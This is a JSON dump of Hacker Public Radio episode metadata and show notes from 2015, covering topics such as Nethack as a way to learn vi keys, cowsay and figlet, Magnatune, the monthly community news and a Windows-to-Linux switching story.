                                                            Magnatune encourages buyers to share up to three copies with friends. All of the tracks downloaded free of charge are licensed under the Creative Commons Attribution-NonCommercial-ShareAlike (BY-NC-SA) License.

                                                            \n

                                                            It's legal to play Magnatune music on a non-commercial podcast without paying collecting society fees to organisations such as ASCAP, BMI or SoundExchange.

                                                            \n

                                                            Music Choices

                                                            \n\n

                                                            The picture we mentioned when discussing the artist Kalabi
                                                            \"Picture
                                                            https://magnatune.com//artists/img/kalabi2.jpg

                                                            \n

                                                            See also https://www.museumwaalsdorp.nl/en/airacous.html if you want more.

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            1. Wikipedia entry on Magnatune: https://en.wikipedia.org/wiki/Magnatune
                                                            2. \n
                                                            3. Magnatune site: https://magnatune.com/
                                                            4. \n
                                                            5. Wikipedia entry on Creative Commons: https://en.wikipedia.org/wiki/Creative_Commons_license
                                                            6. \n
                                                            7. John Buckman's blog: https://john.redmood.com/
                                                            8. \n
                                                            9. Web-based Magnatune player: https://greattuneplayer.jit.su
                                                            10. \n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Magnatune,music","version":0,"downloads":0,"valid":1}, {"id":1778,"date":"2015-05-27","title":"Nethack and Vi cursor keys","duration":552,"summary":"More about vi,vim and my nethack virtual machine","notes":"Hi I'm Steve Bickle and this episode is \"Nethack and Vi cursor keys\", its my contribution partially inspired by the recent series of vi/vim podcasts and Frank Bell's recent episode Introduction to Rogue Class Linux.
                                                            \n\nIn addition to my piece here, I also want to use this opportunity to point out an excellent podcast about vim, that's complementary to the series on HPR.
                                                            \nI was pleased to see recently that Thomas Gideon's The Command Line podcast is back from a hiatus and want to make sure that others are aware. His 12th of April podcast is an essay entitled \"Hope and Fear in the World of vim\" where he discusses his use of vim throughout his career as a programmer. You can find this podcast at thecommandline.net
                                                            \n\nThe text editor vi was written long ago by Bill Joy in the late 70's before the advent of the PC keyboard and cursor keys, so the default key mappings for left/down/up/right being H,J,K and L are not immediately familiar to a pc keyboard user.
                                                            \n\n\"AD-M3A
                                                            \n\nThe original UNIX machine for which vi was written used the AD-M3A terminal where H,J,K and L had the cursor arrows engraved.
                                                            \nVi is installed as a default choice on many distros, and where it is not, there is invariably a package available that can be easily added.
                                                            \n\nSome, if not most, distros come vim installed by default (vim by the way stands for vi improved). This does have the cursor keys mapped nicely for a modern PC keyboard as well as the original keys. Vim is always aliased as vi, so if it's been installed when you enter vi you get vim.
                                                            \n\nVi is a pretty light weight bit of code whereas VIM has more dependencies so sometimes vi is still preferred as the default install package. For instance Debian and many of its derivatives have vi rather than vim installed by default.
                                                            \nIf you are distro hopping or working on other peoples systems you can generally rely on having vi available, but you can't be sure to get vim so it is useful to be conversant with the vi key mappings, along with a working knowledge of some of the basic commands. Then you will never be at a loss for a text editor when needing to hack around in a Linux box.
                                                            \n\nFor me as an occasional user of vi the most challenging keys to remember to use are the H,J,K and L. cursor keys, since muscle memory has my fingers diving for the arrow keys. This is where the game Nethack comes in, which is what this article/episode is really about.
                                                            \n\nNethack is a terminal based dungeon adventure games which uses the same cursor keys as vi and other old UNIX programs. Play this game for a few hours and you will ever struggle with vi cursor keys again.
                                                            \n\nThe goal of the game is to retrieve the 'Amulet' from the lowest level of the dungeon and return to the surface with it for your god.
                                                            \n\nNethack presents as a text based adventure with each level gradually being revealed to you in the on-screen character based level map. As you travel through the dungeon more of the level is revealed. As you play, your character gains more experience and levels up its capabilities.
                                                            \n\nYou play as one of a number of types of character, and race. These include many of the usual dungeons and dragons types, archaeologists most likely inspired by Indiana Jones and tourists which definitely owe much to Terry Pratchet. Each role and race has their own initial characteristics, default inventory items, levelsof resilience and ability to learn various skills. For instance a wizard will advance his spell making capabilities faster than a footpad.
                                                            \n\nAlthough seemingly a simplistic terminal based game there's more going on in Nethack than is at first apparent. Originally released in 1987 it was actively developed with improvements to game play features until 2003. Since then there have been minor updates and ports for different platforms have been added, however there is rumoured to be a release with further game play improvements some-time this year.
                                                            \n\nThe game has real depth and subtlety that is gradually revealed the more you play. It is not an easy game to win (from my experience to date that may not even be possible) but the more you play it the better strategies you will devise and the more rewarding the game becomes. There's more complexity to this game than almost any modern 3d HD graphic adventure.
                                                            \n\nAlthough there is a Nethack Wiki where information about how to play can be sought, the true elite apparently learn through playing. I'd suggest having a go, then when you become familiar with YASDs (yet another stupid death), there's a lot of them, you will have enough experience to answer a few burning question with the Wiki in order to be able to play a more satisfying game.
                                                            \n\nAlthough a challenging game, it is not a difficult game to play once you have remembered a few keyboard commands. And this game can be played just about anywhere. Because the game has GPL license there are many ports and flavours available. It is possible to play on most platforms: I have tried it on Linux, Android and even as a Google Chrome app, although the IOS port was not usable on our old iPad or a colleague's new iPhone.
                                                            \n\nThere are various ports for the Windows platform, some of which replace the character based interface with Windows 3.1 style tile interface or a 3d isometric graphic interface. Personally I'd prefer to stick with the traditional character interface since the graphics don't really add anything to the game play. In fact when I play the game on Windows laptop, I use a minimal Debian install running on VirtualBox. I have set it up to auto-run Nethack and shutdown when exiting the game. Then I launch the VM directly with a shortcut containing the virtualbox command on the desktop.
                                                            \n\nThis is how I set up my Nethack VM:
                                                            \nFirst I created a VirtualBox VM with 1 core 256M of RAM and an 8GB hard drive (I could have easily got away with 2GB actually).
                                                            \n\nThen I installed a minimal install of Debian, configured networking and installed nethack using apt-get install.
                                                            \n\nOnce nethack was installed I disabled networking so I don't have to wait for a network connection to time-out when if my machine is not online.
                                                            \n\nTo make Debian auto-start with a particular user account you can edit the /etc/inittab and alter one of the tty invocations. I changed the line:
                                                            \n\n
                                                            1:2345:respawn:/sbin/mingetty tty1

                                                            \n\nTo login my account 'steve'
                                                            \n\n
                                                            1:2345:respawn:/sbin/mingetty –autologin steve tty1

                                                            \n\nTo get Nethack to run on start-up, and the vm to shutdown on exiting the game edit the user's .bashrc file and append these three commands to the end of the file
                                                            \n

                                                            \nclear # this ensures that the screen is clean prior to running the game
                                                            \nnethack # to run the game
                                                            \nsudo shutdown -h now # to close the VM when you exit the game
                                                            \n

                                                            \n\nBecause Nethack is a terminal based game it doesn't hammer the battery in portable machines, making it an ideal travel game for a commuter.
                                                            \n\nEven if you are not a gamer its worth a look at Nethack, it might be the one computer game that really grabs your attention.
                                                            \n","hostid":240,"series":82,"explicit":1,"license":"CC-BY-SA","tags":"vi, vim, nethack, debian","version":0,"downloads":0,"valid":1}, {"id":1779,"date":"2015-05-28","title":"Cowsay and Figlet","duration":944,"summary":"Cowsay and Figlet: Two fun ASCII text commands","notes":"

                                                            Basic commands

                                                            \n\n\n

                                                            Make default cow speak:

                                                            \n\t
                                                            \n\t\tcowsay "Hacker Public Radio" \n\t
                                                            \n\n

                                                            Result:

                                                            \n\n
                                                            \n _____________________\n< Hacker Public Radio >\n ---------------------\n        \\   ^__^\n         \\  (oo)\\_______\n            (__)\\       )\\/\\\n                ||----w |\n                ||     ||\n
                                                            \n\n

                                                            Modes

                                                            \n\n
                                                              \n
                                                            • -b Borg mode;
                                                            • \n
                                                            • -d dead;
                                                            • \n
                                                            • -g greedy mode;
                                                            • \n
                                                            • -p causes a state of paranoia to come over the cow;
                                                            • \n
                                                            • -s makes the cow appear thoroughly stoned;
                                                            • \n
                                                            • -t yields a tired cow;
                                                            • \n
                                                            • -w is somewhat the opposite of -t, and initiates wired mode;
                                                            • \n
                                                            • -y brings on the cow's youthful appearance.
                                                            • \n
                                                            \n\n

                                                            Use \"tired\" cow mode:

                                                            \n\n
                                                            \ncowsay -t "Ken is tired of begging for shows"\n
                                                            \n\n

                                                            Result:

                                                            \n\n
                                                            \n ___________________________________\n< Ken is tired of begging for shows >\n -----------------------------------\n        \\   ^__^\n         \\  (--)\\_______\n            (__)\\       )\\/\\\n                ||----w |\n                ||     ||\n
                                                            \n\n

                                                            Specify different images with -f

                                                            \n\n

                                                            Threaten someone with a dragon:

                                                            \n\n
                                                            \ncowsay -f dragon 'record and upload a show OR ELSE!'\n
                                                            \n\n

                                                            Result:

                                                            \n\n\n
                                                            \n ___________________________________\n< record and upload a show OR ELSE! >\n -----------------------------------\n      \\                    / \\  //\\\n       \\    |\\___/|      /   \\//  \\\\\n            /0  0  \\__  /    //  | \\ \\    \n           /     /  \\/_/    //   |  \\  \\  \n           @_^_@'/   \\/_   //    |   \\   \\ \n           //_^_/     \\/_ //     |    \\    \\\n        ( //) |        \\///      |     \\     \\\n      ( / /) _|_ /   )  //       |      \\     _\\\n    ( // /) '/,_ _ _/  ( ; -.    |    _ _\\.-~        .-~~~^-.\n  (( / / )) ,-{        _      `-.|.-~-.           .~         `.\n (( // / ))  '/\\      /                 ~-. _ .-~      .-~^-.  \\\n (( /// ))      `.   {            }                   /      \\  \\\n  (( / ))     .----~-.\\        \\-'                 .~         \\  `. \\^-.\n             ///.----..>        \\             _ -~             `.  ^-`  ^-_\n               ///-._ _ _ _ _ _ _}^ - - - - ~                     ~-- ,.-~\n                                                                  /.-~\n
                                                            \n\n

                                                            On Linux, praise Ahuka with a Random Cow:

                                                            \n\n
                                                            \necho 'Ahuka Rocks!' | cowsay -f $(locate *.cow | shuf -n1)\n
                                                            \n\n

                                                            One Result:

                                                            \n\n
                                                            \n ______________\n< Ahuka Rocks! >\n --------------\n        \\    ,-^-.\n         \\   !oYo!\n          \\ /./=\\.\\______\n               ##        )\\/\\\n                ||-----w||\n                ||      ||\n\n               Cowth Vader\n\n
                                                            \n\n

                                                            Figlet

                                                            \n\n

                                                            Make ASCII banner text with figlet. This one uses the default font and wraps the lines at 45 characters:\n

                                                            \n\n
                                                            \nfiglet -w 45 "Hacker Public Radio"\n
                                                            \n\n

                                                            Result:

                                                            \n\n\n
                                                            \n _   _            _             \n| | | | __ _  ___| | _____ _ __ \n| |_| |/ _` |/ __| |/ / _ \\ '__|\n|  _  | (_| | (__|   <  __/ |   \n|_| |_|\\__,_|\\___|_|\\_\\___|_|   \n                                \n ____        _     _ _      \n|  _ \\ _   _| |__ | (_) ___ \n| |_) | | | | '_ \\| | |/ __|\n|  __/| |_| | |_) | | | (__ \n|_|    \\__,_|_.__/|_|_|\\___|\n                            \n ____           _ _       \n|  _ \\ __ _  __| (_) ___  \n| |_) / _` |/ _` | |/ _ \\ \n|  _ < (_| | (_| | | (_) |\n|_| \\_\\__,_|\\__,_|_|\\___/ \n                          \n
                                                            \n\n

                                                            Use an alternate font with -f option:

                                                            \n\n
                                                            \n\tfiglet -f digital "Community News"\n
                                                            \n\n\n
                                                            \n+-+-+-+-+-+-+-+-+-+ +-+-+-+-+\n|C|o|m|m|u|n|i|t|y| |N|e|w|s|\n+-+-+-+-+-+-+-+-+-+ +-+-+-+-+\n
                                                            \n\n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux, scripting, command line, ASCII","version":0,"downloads":0,"valid":1}, {"id":1780,"date":"2015-05-29","title":"16 - TrueCrypt and GnuPG - An Update","duration":911,"summary":"GnuPG and TrueCrypt updated, and how we support free software.","notes":"

                                                            \nPreviously we looked at the issues around TrueCrypt and Heartbleed, and noted that a fundamental problem was that technologies we rely on to be safe are often developed and maintained by volunteers or people on a shoestring budget. There is now more news worth looking at in this respect, so it is time for an update.\nFor more go to https://www.zwilnik.com/?page_id=825\n

                                                            \n

                                                            \nLinks:\n

                                                            \n\n\n\n

                                                            Editor's Note 2022-03-27: Tag changed from GnuPGP to GnuPG

                                                            \n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"TrueCrypt, GnuPG, support","version":0,"downloads":0,"valid":1}, {"id":1781,"date":"2015-06-01","title":"HPR Community News for May 2015","duration":4021,"summary":"Dave and Ken waffle on and on","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n Alpha32.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1760Fri2015-05-01pdftk: the PDF ToolkitJon Kulp
                                                            1761Mon2015-05-04HPR Community News for April 2015HPR Volunteers
                                                            1762Tue2015-05-05HPR Audio Book Club 10HPR_AudioBookClub
                                                            1763Wed2015-05-06Intro to HomebrewingAlpha32
                                                            1764Thu2015-05-07Introduction to Rogue Class LinuxFrank Bell
                                                            1765Fri2015-05-0853 - LibreOffice Impress - Outlining and Blank PresentationsAhuka
                                                            1766Mon2015-05-11Sox of SilenceKen Fallon
                                                            1767Tue2015-05-12An interview with Ed Cable of the Mifos InitiativeDavid Whitman
                                                            1768Wed2015-05-13An Intro To C Episode 1 : Introduction and Typescjm
                                                            1769Thu2015-05-14A Demonstration of Dictation Software on my Office ComputerJon Kulp
                                                            1770Fri2015-05-15The OpenDyslexic FontJon Kulp
                                                            1771Mon2015-05-18Audacity: Label TracksJon Kulp
                                                            1772Tue2015-05-19Random thoughtsswift110
                                                            1773Wed2015-05-20LFNW 2015 interview with Deb NicholsonDavid Whitman
                                                            1774Thu2015-05-21Router HackingJon Kulp
                                                            1775Fri2015-05-22Sonic PiSteve Bickle
                                                            1776Mon2015-05-25Vim Hints 004Dave Morriss
                                                            1777Tue2015-05-26Magnatune FavouritesDave Morriss
                                                            1778Wed2015-05-27Nethack and Vi cursor keysSteve Bickle
                                                            1779Thu2015-05-28Cowsay and FigletJon Kulp
                                                            1780Fri2015-05-2916 - TrueCrypt and GnuPG - An UpdateAhuka
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-05-08 19:32:30 +0200
                                                              \n Subject: Call for Shows - this is not a drill
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/836
                                                              \n Messages: 11

                                                            2. \n
                                                            3. From: Mike Ray <mike@...>
                                                              \n Date: 2015-05-23 15:12:01 +0100
                                                              \n Subject: Adding new pre-formatted sheets to LibreOffice Calc
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/847
                                                              \n Messages: 3

                                                            4. \n
                                                            5. From: Lord Drachenblut <lord.drachenblut@...>
                                                              \n Date: 2015-05-25 06:04:13 UTC
                                                              \n Subject: Video series on using the zoom H1
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/850
                                                              \n Messages: 1

                                                            6. \n
                                                            7. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-05-25 11:52:59 +0200
                                                              \n Subject: Issues with GMail marking all HackerPublicRadio.org emails as\tSPAM
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/851
                                                              \n Messages: 8

                                                            8. \n
                                                            9. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-05-28 19:21:14 +0100
                                                              \n Subject: HPR Community News - Saturday on 2015-05-30T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/859
                                                              \n Messages: 1

                                                            10. \n
                                                            11. From: Mike Ray <mike@...>
                                                              \n Date: 2015-05-28 21:30:05 +0100
                                                              \n Subject: LibreOffice Calc cell style; background and 'no fill'
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/860
                                                              \n Messages: 2

                                                            12. \n
                                                            13. From: David Whitman <davidglennwhitman@...>
                                                              \n Date: 2015-05-29 13:45:41 -0700
                                                              \n Subject: Updated Presentation for HPR?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/862
                                                              \n Messages: 1
                                                            14. \n
                                                            \nTotal messages this month: 27
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            There are 24 comments:

                                                            \n
                                                              \n
                                                            • hpr1726\n(2015-03-16) \"15 Excuses not to Record a show for HPR\"\nby Knightwise.\n
                                                              • Comment 4:\nEpicanis on 2015-05-22:\n\"I should do an episode nominating myself for an award...\"
                                                              • \n

                                                            • \n
                                                            • hpr1754\n(2015-04-23) \"D7? Why Seven?\"\nby Jon Kulp.\n
                                                              • Comment 4:\nFiftyOneFifty on 2015-05-09:\n\"Explaining myself\"
                                                              • Comment 5:\nJon Kulp on 2015-05-10:\n\"I kinda see the resemblance...\"
                                                              • \n

                                                            • \n
                                                            • hpr1759\n(2015-04-30) \"A brief review of Firefox OS\"\nby Stilvoid.\n
                                                              • Comment 2:\nStilvoid on 2015-05-03:\n\"Thanks\"
                                                              • \n

                                                            • \n
                                                            • hpr1760\n(2015-05-01) \"pdftk: the PDF Toolkit\"\nby Jon Kulp.\n
                                                              • Comment 1:\nJon Kulp on 2015-05-02:\n\"video demo: embedding table of contents in PDF\"
                                                              • \n

                                                            • \n
                                                            • hpr1762\n(2015-05-05) \"HPR Audio Book Club 10\"\nby HPR_AudioBookClub.\n
                                                              • Comment 1:\nKen Fallon on 2015-05-08:\n\"Blade Runner\"
                                                              • \n

                                                            • \n
                                                            • hpr1766\n(2015-05-11) \"Sox of Silence\"\nby Ken Fallon.\n
                                                              • Comment 1:\nJon Kulp on 2015-05-10:\n\"Haulin'\"
                                                              • \n

                                                            • \n
                                                            • hpr1767\n(2015-05-12) \"An interview with Ed Cable of the Mifos Initiative\"\nby David Whitman.\n
                                                              • Comment 1:\nMike Ray on 2015-05-12:\n\"MIFOS, great initiative\"
                                                              • \n

                                                            • \n
                                                            • hpr1768\n(2015-05-13) \"An Intro To C Episode 1 : Introduction and Types\"\nby cjm.\n
                                                              • Comment 1:\nsigflup on 2015-05-12:\n\"Right awesome!\"
                                                              • Comment 2:\nSteve Smethurst on 2015-05-14:\n\"Thanks, and more plase\"
                                                              • Comment 3:\nKete on 2015-05-15:\"[no title]\"
                                                              • Comment 4:\nkdmurray on 2015-05-25:\n\"A Good Start\"
                                                              • \n

                                                            • \n
                                                            • hpr1769\n(2015-05-14) \"A Demonstration of Dictation Software on my Office Computer\"\nby Jon Kulp.\n
                                                              • Comment 1:\nMoralVolcano on 2015-05-20:\n\"Dragon?\"
                                                              • Comment 2:\nJon Kulp on 2015-05-21:\n\"Nope\"
                                                              • \n

                                                            • \n
                                                            • hpr1770\n(2015-05-15) \"The OpenDyslexic Font\"\nby Jon Kulp.\n
                                                              • Comment 1:\njezra on 2015-05-18:\n\"For Arch Linux, this is in the AUR\"
                                                              • \n

                                                            • \n
                                                            • hpr1771\n(2015-05-18) \"Audacity: Label Tracks\"\nby Jon Kulp.\n
                                                              • Comment 1:\nDave Morriss on 2015-05-18:\n\"Very useful\"
                                                              • Comment 2:\nkdmurray on 2015-05-25:\n\"Can't believe I've never seen this\"
                                                              • \n

                                                            • \n
                                                            • hpr1774\n(2015-05-21) \"Router Hacking\"\nby Jon Kulp.\n
                                                              • Comment 1:\nKen Fallon on 2015-05-22:\n\"You say Tomato\"
                                                              • Comment 2:\nMark on 2015-05-27:\n\"Wanted to try this before.\"
                                                              • \n

                                                            • \n
                                                            • hpr1775\n(2015-05-22) \"Sonic Pi\"\nby Steve Bickle.\n
                                                              • Comment 1:\nkdmurray on 2015-05-25:\n\"SonicPi Releases\"
                                                              • \n

                                                            • \n
                                                            • hpr1776\n(2015-05-25) \"Vim Hints 004\"\nby Dave Morriss.\n
                                                              • Comment 1:\nthelovebug on 2015-05-25:\n\"1776\"
                                                              • Comment 2:\nDave Morriss on 2015-05-28:\n\"Re: 1776\"
                                                              • \n

                                                            • \n
                                                            • hpr1777\n(2015-05-26) \"Magnatune Favourites\"\nby Dave Morriss.\n
                                                              • Comment 1:\ninscius on 2015-05-28:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1780\n(2015-05-29) \"16 - TrueCrypt and GnuPG - An Update\"\nby Ahuka.\n
                                                              • Comment 1:\nDave Morriss on 2015-05-29:\n\"Thanks for this update\"
                                                              \n
                                                            • \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1782,"date":"2015-06-02","title":"ChorusText - a Non-visual Text Editor Open Assistive Device Project","duration":1051,"summary":"Introducing ChorusText, a non-visual text editor open assistive device project","notes":"

                                                            Links:

                                                            \n\n\n","hostid":305,"series":79,"explicit":1,"license":"CC-BY-SA","tags":"ChorusText, text editor, Arduino, pcDuino, eSpeak, Mary TTS, Maker Faire Singapore 2015","version":0,"downloads":0,"valid":1}, {"id":1783,"date":"2015-06-03","title":"Windows To Linux - Better Late Than Never.","duration":604,"summary":"Long time Podcast listener finally gets off the fence and makes the switch. Now he's hooked.","notes":"

                                                            \nThis is a story of my last days as a Windows Users at home and my eventual switch to Linux. My name is Kevin and my online name is GNULinuxRTM. The name GNULinuxRTM was recently created for a project I am working on. But maybe Ill talk about that another time.\n

                                                            \n

                                                            \nAlthough I listened to every single episode of Linux Reality, many episodes of Linux Outlaws, Linux Link Tech Show, The Bad Apples aka GNU World Order, and other Podcast shows, I just recently listened to my first episode to Hacker Public Radio. What caught my attention was the plea for content to keep Hacker Public Radio going. So I have been HPR binging and I have to say that the fact that this kind of Podcast format exists, is amazing.\n

                                                            \n

                                                            \nYes, I had heard the words Hacker Public Radio before, but I just thought it meant that this was some kind of show for extreme Hacker types, which I didnt think described me.\n

                                                            \n

                                                            \nAnother confession, my day job is mostly in a Windows environment. And although I kept myself up to date on the progress of Linux, I had very few opportunities to use Linux at work. I had enough challenge keeping up to technology I had to know to do my job. Although I heard and understood the significance of making a commitment to use Linux, I never did make the switch. Sure I dabbled with Linux as a Server platform and maybe to get some use out of some old hardware. But not on my most powerful and most used home machine. The computer I use every day for my own personal projects was, until last Summer, a Windows PC.\n

                                                            \n

                                                            \nYou see I hate wasting effort and time, something we all have a limited amount of. I remember after a particularly frustrating bout with Linux I turned to a Co-Worker and said \"Windows, because Lifes too short\".\n

                                                            \n

                                                            \nAlso, I am one of those weirdos who loves the little red Trackpoint on IBM Thinkpads. Last Spring I traded in my old Thinkpad plus some cash for an off-lease Lenovo Thinkpad W510 Notebook. I got it cheaper because they didnt have the original power supply, instead it came with a 3rd party power supply. Eventually it got to me that it took more than twice as long to charge the notebook, so i spent the money to replace it with a higher wattage power supply. \"In a for penny, in for a pound\", why not upgrade to 8Gb of RAM too.\n

                                                            \n

                                                            \nShortly after the 90 day warranty I started having weird lockup issues. The hard drive light would go solid and the machine would just freeze. Ive seen this before. Suck it up and back to local computer store to replace the Hard Drive. But \"In for a penny, in for a pound\", why not get one of those slick new SSD drives. Got home, do a drive copy and I am back in business Or so I think. After a while I realize I am still suffering from intermittent Lockups. Time for a fresh install.\n

                                                            \n

                                                            \nInstall Windows 7, Windows Update, Reboot, Windows Update Reboot, Windows Update Reboot almost done. Blue-Screen-of-Death. Reboot, Blue Screen of Death. Start over, Re-install Windows 7, trickle install Updates, Save System State, Reboot, Repeat, Blue Screen, Ahhhhh!!@!!! System Restore, its that update, Blue Screen, not its that update, Blue Screen, Blue Screen, Blue Screen Ahhhhh!!##$\n

                                                            \n

                                                            \nIs it my new RAM, switch that out. No difference. Power Supply? Nope. Go back to Non-SSD drive? Still No Change. Different Windows Install Disc? No, No and No. \n

                                                            \n

                                                            \nNow Im really \"In for a Pound\" with this machine and I cant use it. Deflated, I put the computer down in the corner of the room and try to forget about it. The sleek black Thinkpad just sits there mocking me every time I walk by, but I am determined to ignore it. Weeks go by, now a month. Ive gone back to my desktop, but its no use, I miss having a notebook. Im an easy-chair Notebook guy now. I dont want to regress down the evolutionary scale and hunch over my desktop anymore. Im at home, I should be reclining!\n

                                                            \n

                                                            \nLike a bad hangover, time has numbed the memory of the pain. I pick the Thinkpad, its time to drink again! Im back baby and Ive got that \"You cant beat me\" Techy Battle cry pumping through my veins. \"LINUX! Ill try Linux!\" At least that is the way I prefer to remember it. But really, I was thinking that Ive spent sooo much money on the piece of Crap, Ill use it even i have to switch to Linux.\n

                                                            \n

                                                            \nLets see Ive got to approach this logically. Uhhh, choose a Distro, Desktop, hmmmm. Video on Richard Stallman spanking Ubuntu on Amazon Deal, hmmm. Ok, Linux Mint 17 is based on the LTS release of Ubuntu, 5 years Support, Cool! Top of the Distrowatch charts. Looks like a good start.\n

                                                            \n

                                                            \nI install Linux Mint 17 and it is up and running in no time. Run the Update Manager and hold my breath. Wow! It updated 100%, no Crash Screen of Doom!\n

                                                            \n

                                                            \nNow what? What do i do now? Google \"First things to do after install Linux Mint 17\", wow Direct hit, Yeehaw! Oh cool, Steam Games, Yummy. PlayOnLinux, Bonus! What a blast. But the fun of discovery was better than any game I played.\n

                                                            \n

                                                            \nAlas, my machine was running great but still had a locked up issue, just not as often. But it was a victory nonetheless. Besides, I had a mostly working machine and I would just ignore the problem. An infrequent lockup didnt seem to bother Linux Mint, it just boot back up fine.\n

                                                            \n

                                                            \nAfter about a month on Linux Mint a little message popped up, I cant remember exactly what it said. But it was like machine was talking to me. \"Hey Buddy, this battery in your notebook, uhh it kinda sucks. And you might want it replace because well I need steady power to you know, breath. And it sure would be a lot easier if I could Huh Huh Huh AHHHHH count on some steady air flow\".\n

                                                            \n

                                                            \nYeah, you know I was elated, but even more so amazed! I had installed no diagnostic software, I had spent no additional time troubleshooting, I had just installed Linux and started using it. And my computer just told me what was wrong with it.\n

                                                            \n

                                                            \nNew battery arrived and now the machine is solid as rock. Did I go back to Windows 7, Hell No! I had kicked the habit once a for all and I was not missing Windows at all.\n

                                                            \n

                                                            \nI distinctly remember a standout moment when I was working on my brother-in-law's wedding video. Circumstances were that the key family members could not be at the Wedding and the they were anxiously waiting for the Wedding Video. I didnt want to delay finishing the project and was reluctant to do anything else with the computer during the Render process. Rendering the Video took quite a bit of time and was very CPU intensive. But I had broken the Wedding into several segments and there was lots of Rendering and getting feedback. \n

                                                            \n

                                                            \nKdenlive lets you assign how many processors would be used during Rendering, and I had set that to four. There were processors to spare, maybe I can do something else while I am waiting for the Render.\n

                                                            \n

                                                            \nIll read a few emails. Hey, I dont notice any performance difference. \nMaybe Ill surf a bit. Still fine. Youtube Video, smooth, now in HD, wow! no problem or no slow down. Multi-tasking as it should be!\n

                                                            \n

                                                            \nNext day at work, I cant help but talk about it with my Co-Workers. \"Why not get a Mac?\" they say. it wasnt a question, it was a strong suggestion. Most of them had written off Linux years ago. I start talking about how great my system is working for me and how I have been able to get so much done with 100% open source applications.\n\"So what\", they say. \"You can install most of those applications on the Mac and Windows as well\". \n

                                                            \n

                                                            \nIts no use, I guess I am not much of an evangelist. Or maybe I just work with cynical people. But it does cause me to question. Why am I so excited about Open Source Software now? At this point in history. Really most of the fundamental building blocks of Open Source Software have already happened. It seems to me we are now in a fine tuning stage.\n

                                                            \n

                                                            \nI think it is that maturity that appeals to me. No longer do you have to say, you can install Linux, BUT. And word \"But\" lands with a thud. There is very little creative work that you cannot do on Linux and Open Source software, right now.\n

                                                            \n

                                                            \nI dont regret a single moment I have invested in switching to and learning Linux.\n

                                                            \n

                                                            \nMy story continues, but well save that for another time. I hope to tell you more about my project and the hurdles Ive gone through in a future HPR episode.\n

                                                            \n

                                                            \nBye for now,\nGNULinuxRTM signing off.\n

                                                            ","hostid":306,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux,Mint,GNU,RTM,Mac,Windows,Open Source,Distro,Richard Stallman,Thinkpad,PlayOnThis is a stoLinux","version":0,"downloads":0,"valid":1}, {"id":1784,"date":"2015-06-04","title":"Intro to the Fugue and the Open Well-Tempered Clavier","duration":1826,"summary":"Inspired by the release of the Open Well Tempered-Clavier, I try to explain the Fugue.","notes":"

                                                            Intro to the Fugue

                                                            \n\n

                                                            This episode of HPR is inspired by the recent release of a new recording by Kimiko Ishizaka of J.S. Bach's Well-Tempered Clavier, Book I. This is a very special recording because it is free and open, licensed to be shared freely forever. The recording was crowdfunded and immediately released with a public license after editing. This allows for legal remixing and sharing, and also makes it perfect for stuff like I do in this episode—cutting the recordings up for inserting as musical examples and then presenting the whole thing for your listening enjoyment.

                                                            \n\n

                                                            Full Show Notes

                                                            \n\n

                                                            Please see the full show notes for detailed descriptions of the parts of a fugue and a few musical examples as well.

                                                            \n\n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Fugue, J. S. Bach, Classical Music, Creative-Commons Music, Music, Counterpoint","version":0,"downloads":0,"valid":1}, {"id":1785,"date":"2015-06-05","title":"54 - LibreOffice Impress - Creating a Presentation","duration":674,"summary":"The mechanics of creating a presentation in Impress","notes":"

                                                            \nHaving looked at the theory of building a good presentation, now we can look at the mechanics of how to build a presentation. This will take you step-by-step through the creation process and get you ready to create your own awesome presentations.\nFor more go to https://www.ahuka.com/?page_id=1188\n

                                                            \n

                                                            \nLinks\n

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"Libreoffice,Libreoffice impress,creating presentation","version":0,"downloads":0,"valid":1}, {"id":1786,"date":"2015-06-08","title":"What is MapReduce?","duration":2188,"summary":"Charles in NJ returns in his outdoor studio to explain a Big Data concept.","notes":"

                                                            \nShownotes in pdf format
                                                            \nShownotes in docx format
                                                            \n

                                                            \n\n

